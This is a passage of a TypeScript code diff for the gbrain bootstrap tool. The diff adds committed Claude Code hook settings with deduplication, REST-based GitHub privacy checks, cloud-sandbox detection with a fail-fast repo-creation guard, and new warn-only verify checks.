GBRAIN_SOURCE: extractHookSource((h as HookCommandEntry).command as string) ?? '',
|
||||
}),
|
||||
),
|
||||
);
|
||||
if (ours) carried.add(event);
|
||||
}
|
||||
} catch {
|
||||
/* absent/corrupt committed file → nothing carried */
|
||||
}
|
||||
return carried;
|
||||
}
|
||||
|
||||
function isOurs(entry: unknown): boolean {
|
||||
return (
|
||||
typeof entry === 'object' &&
|
||||
@@ -253,6 +322,11 @@ export function writeClaudeHooks(
|
||||
}
|
||||
|
||||
const events = opts.events ?? [...CLAUDE_HOOK_EVENTS];
|
||||
// [D12] Dedupe invariant: an event carried by the COMMITTED settings file
|
||||
// never also fires from the local file. The local writer still strips its
|
||||
// own prior entries for carried events (removing stale local copies), but
|
||||
// re-adds nothing for them.
|
||||
const carried = committedHookEvents(workspaceDir);
|
||||
let removedPrior = 0;
|
||||
const installed: Array<{ event: ClaudeHookEvent; command: string }> = [];
|
||||
|
||||
@@ -269,6 +343,13 @@ export function writeClaudeHooks(
|
||||
const { kept, removed } = stripOurEntries(groups as unknown[]);
|
||||
removedPrior += removed;
|
||||
|
||||
if (carried.has(event)) {
|
||||
notes.push(`${event}: carried by the committed .claude/settings.json — local entry skipped [D12]`);
|
||||
if (kept.length === 0) delete hooks[event];
|
||||
else hooks[event] = kept;
|
||||
continue;
|
||||
}
|
||||
|
||||
const command = buildClaudeHookCommand(opts.gbrainBin, event, opts.env);
|
||||
const timeout = opts.timeoutSecs?.[event] ?? CLAUDE_HOOK_DEFAULT_TIMEOUT_SECS[event];
|
||||
const entry: HookCommandEntry = {
|
||||
@@ -294,14 +375,112 @@ export function writeClaudeHooks(
|
||||
return { settingsPath, installed, removedPrior, backupPath, brokenBackupPath, notes };
|
||||
}
|
||||
|
||||
/**
|
||||
* Write hooks into the COMMITTED `.claude/settings.json` [D12] — the only
|
||||
* carrier that survives into fresh cloud clones (hooks are snapshotted at
|
||||
* session start; the gitignored local file never exists there). Commands are
|
||||
* PATH-resolved and fail-open (buildPortableClaudeHookCommand). After the
|
||||
* committed write, the same events are stripped from the LOCAL file so an
|
||||
* event never fires from both carriers.
|
||||
*/
|
||||
export function writeCommittedClaudeHooks(
|
||||
workspaceDir: string,
|
||||
opts: { env: ClaudeHookEnv; events?: ClaudeHookEvent[]; timeoutSecs?: Partial<Record<ClaudeHookEvent, number>> },
|
||||
): WriteClaudeHooksResult {
|
||||
if (opts.env.GBRAIN_HOME) {
|
||||
throw new Error(
|
||||
'GBRAIN_HOME is machine-specific and must not be embedded in the COMMITTED hook carrier ' +
|
||||
'(the file travels between machines) — isolated installs stay on the local carrier',
|
||||
);
|
||||
}
|
||||
for (const [k, v] of Object.entries(opts.env)) {
|
||||
if (typeof v === 'string' && /[\n\r\0]/.test(v)) {
|
||||
throw new Error(`env ${k} contains control characters — refusing to embed in a hook command`);
|
||||
}
|
||||
}
|
||||
const settingsPath = claudeCommittedSettingsPath(workspaceDir);
|
||||
const { settings, existed, brokenBackupPath, notes } = loadSettings(settingsPath);
|
||||
let hooks = settings.hooks as Record<string, unknown> | undefined;
|
||||
if (typeof hooks !== 'object' || hooks === null || Array.isArray(hooks)) {
|
||||
if (hooks !== undefined) {
|
||||
notes.push(
|
||||
`WARNING: existing "hooks" key was not an object (${JSON.stringify(hooks).slice(0, 80)}); ` +
|
||||
`replaced — the original file is in the .bak backup.`,
|
||||
);
|
||||
}
|
||||
hooks = {};
|
||||
}
|
||||
const events = opts.events ?? [...CLAUDE_HOOK_EVENTS];
|
||||
let removedPrior = 0;
|
||||
const installed: Array<{ event: ClaudeHookEvent; command: string }> = [];
|
||||
for (const event of events) {
|
||||
let groups = hooks[event];
|
||||
if (!Array.isArray(groups)) {
|
||||
if (groups !== undefined) {
|
||||
notes.push(`WARNING: existing hooks.${event} was not an array; replaced — original in the .bak backup.`);
|
||||
}
|
||||
groups = [];
|
||||
}
|
||||
const { kept, removed } = stripOurEntries(groups as unknown[]);
|
||||
removedPrior += removed;
|
||||
const command = buildPortableClaudeHookCommand(event, opts.env);
|
||||
const timeout = opts.timeoutSecs?.[event] ?? CLAUDE_HOOK_DEFAULT_TIMEOUT_SECS[event];
|
||||
const entry: HookCommandEntry = {
|
||||
type: 'command',
|
||||
command,
|
||||
timeout,
|
||||
[GBRAIN_HOOK_MARKER_KEY]: GBRAIN_HOOK_MARKER_VALUE,
|
||||
};
|
||||
kept.push({ hooks: [entry] });
|
||||
hooks[event] = kept;
|
||||
installed.push({ event, command });
|
||||
}
|
||||
settings.hooks = hooks;
|
||||
let backupPath: string | null = null;
|
||||
if (existed && brokenBackupPath === null) {
|
||||
backupPath = `${settingsPath}.bak`;
|
||||
copyFileSync(settingsPath, backupPath);
|
||||
}
|
||||
atomicWriteJson(settingsPath, settings);
|
||||
|
||||
// [D12] dedupe: the committed carrier now owns these events — remove any
|
||||
// local copies so nothing double-fires on this machine.
|
||||
const localCleanup = removeHooksFromFile(claudeSettingsPath(workspaceDir));
|
||||
if (localCleanup.removed > 0) {
|
||||
notes.push(
|
||||
`removed ${localCleanup.removed} local settings.local.json entr${localCleanup.removed === 1 ? 'y' : 'ies'} — the committed carrier owns the events now [D12]`,
|
||||
);
|
||||
}
|
||||
|
||||
return { settingsPath, installed, removedPrior, backupPath, brokenBackupPath, notes };
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove ONLY marker-carrying entries [G5]. A parse-broken file is left
|
||||
* untouched (removal must never destroy what it cannot read) — the note says
|
||||
* so. Event arrays we emptied lose their key; an emptied hooks object loses
|
||||
* its key; foreign structure survives.
|
||||
* its key; foreign structure survives. Cleans BOTH carriers (local +
|
||||
* committed [D12]); the returned settingsPath/backup describe the local one,
|
||||
* with committed-file actions reported via notes.
|
||||
*/
|
||||
export function removeClaudeHooks(workspaceDir: string): RemoveClaudeHooksResult {
|
||||
const settingsPath = claudeSettingsPath(workspaceDir);
|
||||
const local = removeHooksFromFile(claudeSettingsPath(workspaceDir));
|
||||
const committed = removeHooksFromFile(claudeCommittedSettingsPath(workspaceDir));
|
||||
const notes = [...local.notes];
|
||||
if (committed.removed > 0) {
|
||||
notes.push(`also removed ${committed.removed} entr${committed.removed === 1 ? 'y' : 'ies'} from the committed ${committed.settingsPath} [D12]`);
|
||||
} else {
|
||||
notes.push(...committed.notes.map((n) => `(committed carrier) ${n}`));
|
||||
}
|
||||
return {
|
||||
settingsPath: local.settingsPath,
|
||||
removed: local.removed + committed.removed,
|
||||
backupPath: local.backupPath,
|
||||
notes,
|
||||
};
|
||||
}
|
||||
|
||||
function removeHooksFromFile(settingsPath: string): RemoveClaudeHooksResult {
|
||||
const notes: string[] = [];
|
||||
if (!existsSync(settingsPath)) {
|
||||
return { settingsPath, removed: 0, backupPath: null, notes: ['no settings file — nothing to remove'] };
|
||||
|
||||
@@ -99,6 +99,16 @@ export const TARGETS: Record<string, HostSpecTarget> = {
|
||||
/** Settings file the hook writer targets, relative to the workspace root. */
|
||||
export const CLAUDE_SETTINGS_FILE_RELPATH = join('.claude', 'settings.local.json');
|
||||
|
||||
/** The COMMITTED hook carrier [D12]. Cloud sessions clone the repo fresh and
|
||||
* snapshot hook config at session start — the gitignored settings.local.json
|
||||
* never exists there, and hooks written mid-session never activate. Cloud and
|
||||
* attach installs therefore write hooks into the repo-committed
|
||||
* `.claude/settings.json` with a PATH-resolved fail-open command (no absolute
|
||||
* paths — the file travels between machines). Local installs keep
|
||||
* settings.local.json; the writers enforce that one event never fires from
|
||||
* both files. */
|
||||
export const CLAUDE_COMMITTED_SETTINGS_FILE_RELPATH = join('.claude', 'settings.json');
|
||||
|
||||
/** Hook events bootstrap wires (plan D5 + hook events table).
|
||||
* v0.45.7 ambient recall adds PreCompact: it BANKS the window's standing
|
||||
* entities into session_context_state so the post-compaction SessionStart
|
||||
|
||||
@@ -57,6 +57,10 @@ export type BootstrapErrorCode =
|
||||
/** Privacy verify could not complete (rate limit / 5xx) — refuse and name
|
||||
* the reason, never fail-open; the fix is re-running, not panic [G8]. */
|
||||
| 'VERIFY_UNAVAILABLE'
|
||||
/** Cloud sandbox: a repo created mid-session is never attached to the
|
||||
* session's GitHub proxy scope (REST 403, push denied) — creation must
|
||||
* happen outside; the session is opened ON the repo, then attach [D-cloud]. */
|
||||
| 'CLOUD_SANDBOX_REPO'
|
||||
/** No agent.json — not an agent workspace. */
|
||||
| 'NOT_A_WORKSPACE'
|
||||
/** agent.json says `initialized: false` — an unrendered template clone [CX2-1]. */
|
||||
|
||||
+41
-31
@@ -35,6 +35,8 @@ import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { configDir } from '../config.ts';
|
||||
import { realpathOrResolve } from '../path-confine.ts';
|
||||
import { defaultRunner, isProxyBlocked403, parseGithubOwnerRepo, type ExecRunner } from '../repo-visibility.ts';
|
||||
import { detectExecutionEnvironment } from '../execution-env.ts';
|
||||
import { loadWorkspaceAllowlist, scanFiles, SCAN_ALLOW_FILENAME } from '../secret-scan.ts';
|
||||
import { GITHUB_URL_PLACEHOLDER } from './assets.ts';
|
||||
import {
|
||||
@@ -52,30 +54,10 @@ import { BootstrapError } from './lock.ts';
|
||||
// Exec seam (shared by uninstall.ts; the dispatcher passes the real runner)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface ExecResult {
|
||||
code: number;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
}
|
||||
|
||||
/** Injectable subprocess seam. argv[0] is the binary; never a shell string. */
|
||||
export type ExecRunner = (argv: string[]) => Promise<ExecResult>;
|
||||
|
||||
/** Default runner: Bun.spawn, both streams piped, spawn failure → code 127. */
|
||||
export const defaultRunner: ExecRunner = async (argv: string[]): Promise<ExecResult> => {
|
||||
try {
|
||||
const proc = Bun.spawn(argv, { stdout: 'pipe', stderr: 'pipe', stdin: 'ignore' });
|
||||
const [stdout, stderr, code] = await Promise.all([
|
||||
new Response(proc.stdout).text(),
|
||||
new Response(proc.stderr).text(),
|
||||
proc.exited,
|
||||
]);
|
||||
return { code, stdout, stderr };
|
||||
} catch (e) {
|
||||
// Binary not on PATH (or unspawnable) — the conventional not-found code.
|
||||
return { code: 127, stdout: '', stderr: (e as Error).message };
|
||||
}
|
||||
};
|
||||
// Canonical definitions moved to repo-visibility.ts (the visibility ladder
|
||||
// needs the same seam and must stay a leaf module); re-exported here so every
|
||||
// existing consumer (uninstall.ts, bootstrap.ts, tests) keeps its import path.
|
||||
export { defaultRunner, type ExecResult, type ExecRunner } from '../repo-visibility.ts';
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Receipt extension: the created repo URL [CX2-12 idempotency key]
|
||||
@@ -97,6 +79,11 @@ export interface RepoReceipt extends InstallReceipt {
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/** The one copy of the cloud repo-adoption instruction (two error sites). */
|
||||
export const CLOUD_ATTACH_FLOW_HINT =
|
||||
'Create the private repo from a normal machine (or github.com), open a cloud session ON that repo, ' +
|
||||
'then run `gbrain bootstrap attach`.';
|
||||
|
||||
/** GitHub repo-name slug: lowercase, alnum runs joined by '-'. */
|
||||
export function slugifyRepoName(name: string): string {
|
||||
const slug = name
|
||||
@@ -106,12 +93,11 @@ export function slugifyRepoName(name: string): string {
|
||||
return slug || 'agent';
|
||||
}
|
||||
|
||||
/** Parse owner/name out of an https or ssh GitHub remote URL. */
|
||||
/** Parse owner/name out of an https or ssh GitHub remote URL. Thin adapter
|
||||
* over the canonical repo-visibility parser (one grammar, three consumers). */
|
||||
export function parseGithubRemote(url: string): { owner: string; name: string } | null {
|
||||
const m =
|
||||
/^https:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?\/?$/.exec(url.trim()) ??
|
||||
/^git@github\.com:([^/]+)\/([^/]+?)(?:\.git)?$/.exec(url.trim());
|
||||
return m ? { owner: m[1], name: m[2] } : null;
|
||||
const p = parseGithubOwnerRepo(url);
|
||||
return p ? { owner: p.owner, name: p.repo } : null;
|
||||
}
|
||||
|
||||
/** Re-exported for existing consumers; the single definition lives in
|
||||
@@ -277,11 +263,20 @@ async function verifyRepoPrivate(runner: ExecRunner, owner: string, name: string
|
||||
}
|
||||
const res = await runner(['gh', 'api', `repos/${owner}/${name}`, '--jq', '.private']);
|
||||
if (res.code !== 0) {
|
||||
const reason = isRateLimitOr5xx(res.stderr) ? 'GitHub API rate limit / server error' : `gh api failed: ${res.stderr.trim() || `exit ${res.code}`}`;
|
||||
// Classify the failure so the operator gets the REAL fix: a sandbox
|
||||
// egress proxy blocking REST for a repo not attached to the session is a
|
||||
// different problem from a token/rate-limit failure [D14 messaging].
|
||||
const proxyBlocked = isProxyBlocked403(res.stderr);
|
||||
const reason = proxyBlocked
|
||||
? "this sandbox's egress proxy blocks GitHub REST for repos not attached to the session"
|
||||
: isRateLimitOr5xx(res.stderr)
|
||||
? 'GitHub API rate limit / server error'
|
||||
: `gh api failed: ${res.stderr.trim() || `exit ${res.code}`}`;
|
||||
const nextStep = proxyBlocked ? CLOUD_ATTACH_FLOW_HINT : 'The repo may be fine — re-run `gbrain bootstrap repo` to verify.';
|
||||
throw new BootstrapError(
|
||||
'VERIFY_UNAVAILABLE',
|
||||
`could not verify that ${owner}/${name} is private (${reason}). ` +
|
||||
'The repo may be fine — re-run `gbrain bootstrap repo` to verify. Nothing is pushed to a repo whose privacy is unverified.',
|
||||
`${nextStep} Nothing is pushed to a repo whose privacy is unverified.`,
|
||||
{ details: { owner, name, stderr: res.stderr } },
|
||||
);
|
||||
}
|
||||
@@ -684,6 +679,21 @@ export async function createPrivateRepo(
|
||||
return { url: originUrl, name: parsed.name, disposition: viaUrlMatch ? 'reused' : 'adopted', reused: true };
|
||||
}
|
||||
|
||||
// Cloud-sandbox guard: `gh repo create` inside a proxied cloud session
|
||||
// makes a repo the session is NOT attached to — REST verification 403s and
|
||||
// the proxy denies every push to it, so creation there is a dead end by
|
||||
// construction. Fail fast with the flow that works instead. (Adoption of an
|
||||
// EXISTING attached origin above is untouched — that is the sanctioned path.)
|
||||
if (detectExecutionEnvironment() === 'cloud-sandbox') {
|
||||
throw new BootstrapError(
|
||||
'CLOUD_SANDBOX_REPO',
|
||||
'this is a cloud sandbox session — a repo created from inside it would not be attached to the ' +
|
||||
"session's GitHub scope (verification and pushes are blocked by the proxy). " +
|
||||
CLOUD_ATTACH_FLOW_HINT,
|
||||
{ exitCode: 2 },
|
||||
);
|
||||
}
|
||||
|
||||
// Ensure a git repo exists (main branch on fresh init).
|
||||
const gitDir = await runner(['git', '-C', workspaceDir, 'rev-parse', '--git-dir']);
|
||||
if (gitDir.code !== 0) {
|
||||
|
||||
@@ -31,7 +31,10 @@ import { join } from 'node:path';
|
||||
|
||||
import { VERSION } from '../../version.ts';
|
||||
import { loadConfigFileOnly } from '../config.ts';
|
||||
import { binaryOnPath, detectExecutionEnvironment, type ExecutionEnvironment } from '../execution-env.ts';
|
||||
import { resolveGbrainHome } from '../gbrain-home.ts';
|
||||
import { githubOwnerRepoString, isProxyBlocked403 } from '../repo-visibility.ts';
|
||||
|
||||
import { BOOTSTRAP_TEMPLATES } from './assets.ts';
|
||||
import {
|
||||
readManifest,
|
||||
@@ -40,7 +43,12 @@ import {
|
||||
type ManifestState,
|
||||
} from './format.ts';
|
||||
import { interviewStatePath, status as interviewStatus } from './interview.ts';
|
||||
import { CLAUDE_SETTINGS_FILE_RELPATH, GBRAIN_HOOK_MARKER_KEY, GBRAIN_HOOK_MARKER_VALUE } from './host-specs.ts';
|
||||
import {
|
||||
CLAUDE_COMMITTED_SETTINGS_FILE_RELPATH,
|
||||
CLAUDE_SETTINGS_FILE_RELPATH,
|
||||
GBRAIN_HOOK_MARKER_KEY,
|
||||
GBRAIN_HOOK_MARKER_VALUE,
|
||||
} from './host-specs.ts';
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// The phase list [D5] — single TS source of truth
|
||||
@@ -86,13 +94,6 @@ interface PhaseSpec {
|
||||
detect: (ws: string, ctx: DetectCtx) => { state: PhaseState; detail?: string };
|
||||
}
|
||||
|
||||
function binaryOnPath(name: string): boolean {
|
||||
try {
|
||||
return Bun.which(name) !== null;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/** The workspace's `origin` remote URL, or null (not a repo / no origin).
|
||||
* Shared with verify.ts's origin-probe sites — one 5s-timeout idiom. */
|
||||
@@ -119,15 +120,25 @@ export type OriginVisibility =
|
||||
| { verdict: 'public'; detail: string }
|
||||
| { verdict: 'unknown'; detail: string };
|
||||
|
||||
/** Probe an origin's visibility via `gh repo view --json isPrivate` (the same
|
||||
* 5s timeout idiom as gitOriginUrl). gh missing / offline / non-GitHub →
|
||||
* 'unknown', never an invented answer. */
|
||||
/** Probe an origin's visibility via REST — `gh api repos/{owner}/{repo}` —
|
||||
* NEVER `gh repo view` (GraphQL under the hood; cloud sandbox proxies pin
|
||||
* GraphQL to a fixed operation set and 403 it even with a user token). Sync
|
||||
* by contract: this runs inside the sync phase-detect chain, so the full
|
||||
* async ladder lives in verify/push; status keeps the cheap REST answer.
|
||||
* gh missing / offline / non-GitHub / 403 → 'unknown', never an invented
|
||||
* answer; a proxy-shaped 403 names the real fix. */
|
||||
export function probeOriginVisibility(origin: string): OriginVisibility {
|
||||
const ownerRepo = githubOwnerRepoString(origin);
|
||||
if (ownerRepo === null) {
|
||||
// Never send a non-github origin string into a REST path — self-hosted
|
||||
// hostnames (or URL-embedded credentials) must not reach api.github.com.
|
||||
return { verdict: 'unknown', detail: 'origin is not a github.com URL — cannot verify via REST' };
|
||||
}
|
||||
try {
|
||||
// env: process.env — Bun's execFileSync otherwise resolves the binary
|
||||
// against the STARTUP env snapshot, making PATH-shimmed test fakes (and
|
||||
// any runtime PATH change) invisible (the workspace-push.ts precedent).
|
||||
const out = execFileSync('gh', ['repo', 'view', origin, '--json', 'isPrivate', '--jq', '.isPrivate'], {
|
||||
const out = execFileSync('gh', ['api', `repos/${ownerRepo}`, '--jq', '.private'], {
|
||||
stdio: ['ignore', 'pipe', 'pipe'],
|
||||
timeout: 5_000,
|
||||
env: process.env,
|
||||
@@ -138,21 +149,36 @@ export function probeOriginVisibility(origin: string): OriginVisibility {
|
||||
if (out === 'false') return { verdict: 'public', detail: `${origin} is PUBLIC` };
|
||||
return { verdict: 'unknown', detail: `gh returned unexpected output: ${out.slice(0, 80)}` };
|
||||
} catch (e) {
|
||||
const err = e as NodeJS.ErrnoException;
|
||||
const err = e as NodeJS.ErrnoException & { stderr?: Buffer | string };
|
||||
if (err?.code === 'ENOENT') {
|
||||
return { verdict: 'unknown', detail: 'gh CLI not installed — cannot verify origin visibility' };
|
||||
}
|
||||
return { verdict: 'unknown', detail: `gh repo view failed (${(err?.message ?? 'unknown').slice(0, 120)})` };
|
||||
const stderr = (err?.stderr ?? '').toString();
|
||||
if (isProxyBlocked403(stderr)) {
|
||||
return {
|
||||
verdict: 'unknown',
|
||||
detail: 'GitHub REST blocked by this sandbox\'s egress proxy (repo not attached to the session) — push-time verification falls back to git protocol',
|
||||
};
|
||||
}
|
||||
return { verdict: 'unknown', detail: `gh api failed (${(err?.message ?? 'unknown').slice(0, 120)})` };
|
||||
}
|
||||
}
|
||||
|
||||
/** True when `<ws>/.claude/settings.local.json` carries a gbrain hook marker. */
|
||||
/** True when either hook carrier — the gitignored `settings.local.json` OR
|
||||
* the committed `.claude/settings.json` [D12] — carries a gbrain marker. */
|
||||
export function hooksInstalled(ws: string): boolean {
|
||||
try {
|
||||
const raw = readFileSync(join(ws, CLAUDE_SETTINGS_FILE_RELPATH), 'utf8');
|
||||
// Structural probe without a full merge: the marker key/value pair is the
|
||||
// idempotency contract host-specs.ts pins, so a substring check is honest.
|
||||
return raw.includes(`"${GBRAIN_HOOK_MARKER_KEY}"`) && raw.includes(`"${GBRAIN_HOOK_MARKER_VALUE}"`);
|
||||
const probe = (relpath: string): boolean => {
|
||||
try {
|
||||
const raw = readFileSync(join(ws, relpath), 'utf8');
|
||||
// Structural probe without a full merge: the marker key/value pair is
|
||||
// the idempotency contract host-specs.ts pins — substring is honest.
|
||||
return raw.includes(`"${GBRAIN_HOOK_MARKER_KEY}"`) && raw.includes(`"${GBRAIN_HOOK_MARKER_VALUE}"`);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
return probe(CLAUDE_SETTINGS_FILE_RELPATH) || probe(CLAUDE_COMMITTED_SETTINGS_FILE_RELPATH);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
@@ -416,6 +442,11 @@ export interface StatusReport {
|
||||
phases: PhaseStatus[];
|
||||
/** Resume hint of the first non-done phase; null when everything is done. */
|
||||
next: string | null;
|
||||
/** WHERE this install is running [D-cloud]: 'local' | 'cloud-sandbox' |
|
||||
* 'ephemeral-container'. Installing agents branch on this — cron is skipped
|
||||
* in containers, repo creation is redirected in cloud sandboxes, and the
|
||||
* runbook's cloud section keys off it. */
|
||||
execution_environment: ExecutionEnvironment;
|
||||
runbookSkew?: RunbookSkew;
|
||||
/** Template-door privacy gate: set only for an UNINITIALIZED template clone
|
||||
* whose origin exists and is not verifiably private. 'public' is a hard
|
||||
@@ -491,11 +522,21 @@ export async function statusReport(ws: string, opts: StatusReportOpts = {}): Pro
|
||||
}
|
||||
}
|
||||
|
||||
// Support blob [B5].
|
||||
// Support blob [B5]. Push status via the shared per-root reader [D8/D13]:
|
||||
// a failing workspace wins over another's success; else the newest record.
|
||||
let lastPush: StatusSupport['last_push'] = null;
|
||||
try {
|
||||
const p = join(gbrainHomeDir, 'bootstrap', 'push-status.json');
|
||||
if (existsSync(p)) lastPush = JSON.parse(readFileSync(p, 'utf8')) as StatusSupport['last_push'];
|
||||
const { readPushStatuses, summarizePushStatuses } = await import('../workspace-push.ts');
|
||||
const entries = readPushStatuses();
|
||||
const { failing } = summarizePushStatuses(entries);
|
||||
const pick = failing[0] ?? entries.sort((a, b) => Date.parse(b.ts ?? '') - Date.parse(a.ts ?? ''))[0];
|
||||
if (pick) {
|
||||
lastPush = {
|
||||
...(pick.ts !== undefined ? { ts: pick.ts } : {}),
|
||||
...(pick.ok !== undefined ? { ok: pick.ok } : {}),
|
||||
...(pick.reason !== undefined ? { reason: pick.reason } : {}),
|
||||
};
|
||||
}
|
||||
} catch {
|
||||
lastPush = null;
|
||||
}
|
||||
@@ -533,6 +574,7 @@ export async function statusReport(ws: string, opts: StatusReportOpts = {}): Pro
|
||||
workspace: ws,
|
||||
phases,
|
||||
next,
|
||||
execution_environment: detectExecutionEnvironment(),
|
||||
...(runbookSkew ? { runbookSkew } : {}),
|
||||
...(privacyGate ? { privacy_gate: privacyGate } : {}),
|
||||
support,
|
||||
|
||||
@@ -35,12 +35,13 @@ import { join } from 'node:path';
|
||||
import type { BrainEngine } from '../engine.ts';
|
||||
import { operations, type Operation, type OperationContext } from '../operations.ts';
|
||||
import { loadConfigFileOnly, type GBrainConfig } from '../config.ts';
|
||||
import { detectExecutionEnvironment } from '../execution-env.ts';
|
||||
import { resolveGbrainHome } from '../gbrain-home.ts';
|
||||
import { realpathOrResolve } from '../path-confine.ts';
|
||||
import { runMaintenanceSweep } from '../sweep.ts';
|
||||
import { detectCapabilities, renderCapabilityReport, type CapabilityReport } from '../capability.ts';
|
||||
import { loadWorkspaceAllowlist, matchesGlob, scanFiles, type SecretFinding } from '../secret-scan.ts';
|
||||
import { PUSH_DENY_GLOBS, verifyRemotePrivacy, pushStatusPath } from '../workspace-push.ts';
|
||||
import { PUSH_DENY_GLOBS, verifyRemotePrivacy, readPushStatuses, summarizePushStatuses } from '../workspace-push.ts';
|
||||
import { FACTS_DEFAULT_VISIBILITY_KEY } from '../facts/visibility.ts';
|
||||
import { byteFloors } from './render.ts';
|
||||
import { BOOTSTRAP_TEMPLATES, loadQuestionBank } from './assets.ts';
|
||||
@@ -317,14 +318,69 @@ function checkDenyGlobs(ws: string): VerifyCheck {
|
||||
}
|
||||
}
|
||||
|
||||
function checkRepoPrivacy(ws: string): VerifyCheck {
|
||||
/** Self-repair channel for existing installs [B8]: a git-TRACKED .mcp.json
|
||||
* carries an absolute machine-specific binary path into the private repo.
|
||||
* Fresh renders gitignore it; this warn heals pre-fix installs. Never gates. */
|
||||
function checkMcpJsonHygiene(ws: string): VerifyCheck {
|
||||
const id = 'mcp_json_hygiene';
|
||||
try {
|
||||
if (!existsSync(join(ws, '.mcp.json'))) return { id, ok: true, detail: 'no .mcp.json in the workspace' };
|
||||
try {
|
||||
execFileSync('git', ['-C', ws, 'ls-files', '--error-unmatch', '.mcp.json'], {
|
||||
stdio: 'ignore', timeout: 5_000,
|
||||
});
|
||||
} catch {
|
||||
return { id, ok: true, detail: '.mcp.json present but untracked (gitignored) — correct' };
|
||||
}
|
||||
return {
|
||||
id,
|
||||
ok: true, // warn-only: informational, never gating
|
||||
detail:
|
||||
'WARN: machine-specific .mcp.json is COMMITTED to the repo — run `git rm --cached .mcp.json` ' +
|
||||
'(bootstrap now gitignores it; it regenerates via `claude mcp add` / `bootstrap hooks --repair`)',
|
||||
};
|
||||
} catch (e) {
|
||||
return { id, ok: true, detail: `mcp.json hygiene probe failed (${(e as Error).message})` };
|
||||
}
|
||||
}
|
||||
|
||||
/** [D12 upgrade-path guard]: an event carried by BOTH hook files double-fires
|
||||
* every turn (possible when the committed carrier arrives via git pull onto a
|
||||
* machine whose local file predates the dedupe-aware writers). Warn-only. */
|
||||
function checkHookCarrierOverlap(ws: string): VerifyCheck {
|
||||
const id = 'hook_carrier_overlap';
|
||||
try {
|
||||
const events = (['SessionStart', 'UserPromptSubmit', 'Stop', 'SessionEnd'] as const).filter((event) => {
|
||||
const has = (rel: string): boolean => {
|
||||
try {
|
||||
const parsed = JSON.parse(readFileSync(join(ws, rel), 'utf8')) as { hooks?: Record<string, unknown> };
|
||||
const groups = parsed?.hooks?.[event];
|
||||
return Array.isArray(groups) && JSON.stringify(groups).includes('"_gbrain"');
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
return has(join('.claude', 'settings.json')) && has(join('.claude', 'settings.local.json'));
|
||||
});
|
||||
if (events.length === 0) return { id, ok: true, detail: 'no event fires from both hook carriers' };
|
||||
return {
|
||||
id,
|
||||
ok: true, // warn-only self-repair channel
|
||||
detail: `WARN: ${events.join(', ')} fire from BOTH .claude/settings.json and settings.local.json (double-fire) — run \`gbrain bootstrap hooks --repair\` to dedupe`,
|
||||
};
|
||||
} catch (e) {
|
||||
return { id, ok: true, detail: `carrier overlap probe failed (${(e as Error).message})` };
|
||||
}
|
||||
}
|
||||
|
||||
async function checkRepoPrivacy(ws: string): Promise<VerifyCheck> {
|
||||
const id = 'repo_privacy';
|
||||
try {
|
||||
const origin = gitOriginUrl(ws);
|
||||
if (!origin) {
|
||||
return { id, ok: true, detail: 'local-only (no origin remote) — run `gbrain bootstrap repo` any time to add the private body' };
|
||||
}
|
||||
const verdict = verifyRemotePrivacy(ws);
|
||||
const verdict = await verifyRemotePrivacy(ws);
|
||||
if (verdict.verdict === 'private') return { id, ok: true, detail: `origin verified private (${origin})` };
|
||||
if (verdict.verdict === 'not_private') return { id, ok: false, detail: `origin is NOT private: ${verdict.detail} — make it private before pushing workspace contents` };
|
||||
return { id, ok: false, detail: `origin visibility unverifiable (${verdict.detail}) — refusing to bless an unverified remote [G8]; re-run once gh works` };
|
||||
@@ -333,6 +389,37 @@ function checkRepoPrivacy(ws: string): VerifyCheck {
|
||||
}
|
||||
}
|
||||
|
||||
/** Informational, NEVER gating [D-cloud]: name the detected execution
|
||||
* environment and its expected degradations so an installing agent (and the
|
||||
* pasted verify report) states them as facts instead of rediscovering them
|
||||
* as mystery failures. */
|
||||
function checkExecutionEnvironment(): VerifyCheck {
|
||||
const id = 'execution_env';
|
||||
try {
|
||||
const env = detectExecutionEnvironment();
|
||||
if (env === 'cloud-sandbox') {
|
||||
return {
|
||||
id,
|
||||
ok: true,
|
||||
detail:
|
||||
'cloud sandbox detected — expected degradations: no crontab (scheduled pull skipped; per-turn/session-end pushes cover it); ' +
|
||||
'GitHub GraphQL always blocked and REST scoped to session-attached repos (privacy verification falls back to git protocol); ' +
|
||||
'pushes restricted to the session\'s working branch; only repo-committed files carry into the next session',
|
||||
};
|
||||
}
|
||||
if (env === 'ephemeral-container') {
|
||||
return {
|
||||
id,
|
||||
ok: true,
|
||||
detail: 'container detected — no reliable scheduler (scheduled pull skipped); event-driven pushes cover persistence',
|
||||
};
|
||||
}
|
||||
return { id, ok: true, detail: 'local machine — full persistence surface available' };
|
||||
} catch (e) {
|
||||
return { id, ok: true, detail: `environment detection failed (${(e as Error).message}) — treated as local` };
|
||||
}
|
||||
}
|
||||
|
||||
/** [CX-P1.1] Single-principal posture: facts written without an explicit
|
||||
* visibility must be recallable by the owner's own sessions (the harness
|
||||
* reads at visibility='world'). Set-IF-UNSET only, through the engine config
|
||||
@@ -692,11 +779,19 @@ async function checkHooksSmoke(engine: BrainEngine, ws: string, sourceId: string
|
||||
function checkPushProbe(ws: string): VerifyCheck {
|
||||
const id = 'push_probe';
|
||||
try {
|
||||
const p = pushStatusPath();
|
||||
if (existsSync(p)) {
|
||||
const s = JSON.parse(readFileSync(p, 'utf8')) as { ts?: string; ok?: boolean; reason?: string };
|
||||
if (s.ok === true) return { id, ok: true, detail: `last workspace push succeeded (${s.ts ?? 'unknown time'})` };
|
||||
return { id, ok: true, warn: true, detail: `last workspace push FAILED (${s.ts ?? 'unknown'}): ${s.reason ?? 'unknown'} — run \`gbrain sources push --path ${ws}\`` };
|
||||
// Read through the shared per-root reader [D8/D13] — a v0.45.8+ push
|
||||
// writes push-status-<roothash>.json, not the legacy single file, so the
|
||||
